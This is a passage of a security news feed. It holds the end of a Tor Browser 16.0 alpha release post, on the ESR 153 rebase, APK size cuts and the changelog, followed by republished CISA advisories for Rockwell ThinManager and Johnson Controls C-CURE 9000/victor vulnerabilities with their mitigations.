<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation ThinManager]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an authenticated attacker to write arbitrary files to restricted system directories outside of the application's intended directory.
The following versions of Rockwell Automation ThinManager are affected:

ThinManager >=1...]]></description>
<link>https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an authenticated attacker to write arbitrary files to restricted system directories outside of the application's intended directory.</strong></p>
<p>The following versions of Rockwell Automation ThinManager are affected:</p>
<ul>
<li>ThinManager &gt;=13.0.0|&lt;13.0.7, &gt;=13.1.0|&lt;13.1.5, &gt;=13.2.0|&lt;13.2.4, &gt;=14.0.0|&lt;14.0.2</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.1</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation ThinManager</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Critical Manufacturing, Energy, Food and Agriculture, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-11917</a></h3>
<div class="csaf-accordion-content">
<p>A path traversal security issue exists within Rockwell Automation ThinManager software due to improper limitation of file save operations within the API. An authenticated attacker could exploit this vulnerability to write arbitrary files to restricted system directories outside of the application's intended directory.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-11917">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation ThinManager</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation ThinManager: &gt;=13.0.0|&lt;13.0.7, Rockwell Automation ThinManager: &gt;=13.1.0|&lt;13.1.5, Rockwell Automation ThinManager: &gt;=13.2.0|&lt;13.2.4, Rockwell Automation ThinManager: &gt;=14.0.0|&lt;14.0.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Users using the affected software, should upgrade to one of the corrected versions as follows:</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.0.0 - 13.0.7 --&gt; 13.0.8</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.1.0 - 13.1.5 --&gt; 13.1.6</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.2.0 - 13.2.4 --&gt; 13.2.5</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 14.0.0 - 14.0.2 --&gt; 14.0.3</p>
<p><strong>Mitigation</strong><br>Users using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices.<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, refer to Rockwell Automation's Securitry Advisory page.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Initial Publication by Rockwell Automation</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial Republication of Rockwell Automation advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Johnson Controls C-CURE 9000 and Victor application server]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.
The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:

C-CURE 9000 and victor]]></description>
<link>https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.</strong></p>
<p>The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:</p>
<ul>
<li>C-CURE 9000 and victor &lt;=v2.90_v3.0 </li>
<li>victor Web &lt;=v7.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.6</td>
<td>Johnson Controls</td>
<td>Johnson Controls C-CURE 9000 and Victor application server</td>
<td>Server-Side Request Forgery (SSRF), Execution with Unnecessary Privileges</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21655</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an unauthenticated attacker on the adjacent network to achieve arbitrary code execution on the C-CURE 9000 or victor application server, as well as connected clients (e.g., workstations of physical security personnel). Such an attack could impact physical security controls.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21655">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls C-CURE 9000 and victor: &lt;=v2.90_v3.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: (CVE-2026-21655) Upgrade to C-CURE 9000 / victor version 3.20 or later, which addresses the vulnerable deserialization path (LV1.1).</p>
<p><strong>Vendor fix</strong><br>Network segmentation - Isolate the C-CURE 9000 and victor application servers on a dedicated network segment and restrict access to port 8999 to only authorized systems that require connectivity.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21653</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an attacker to forge server-side HTTP requests from the victor Web application. This could be leveraged to interact with internal services running on the host or accessible on the local network, potentially leading to unauthorized information disclosure or lateral movement within the network.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21653">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;v7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.6</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.4</td>
<td>CRITICAL</td>
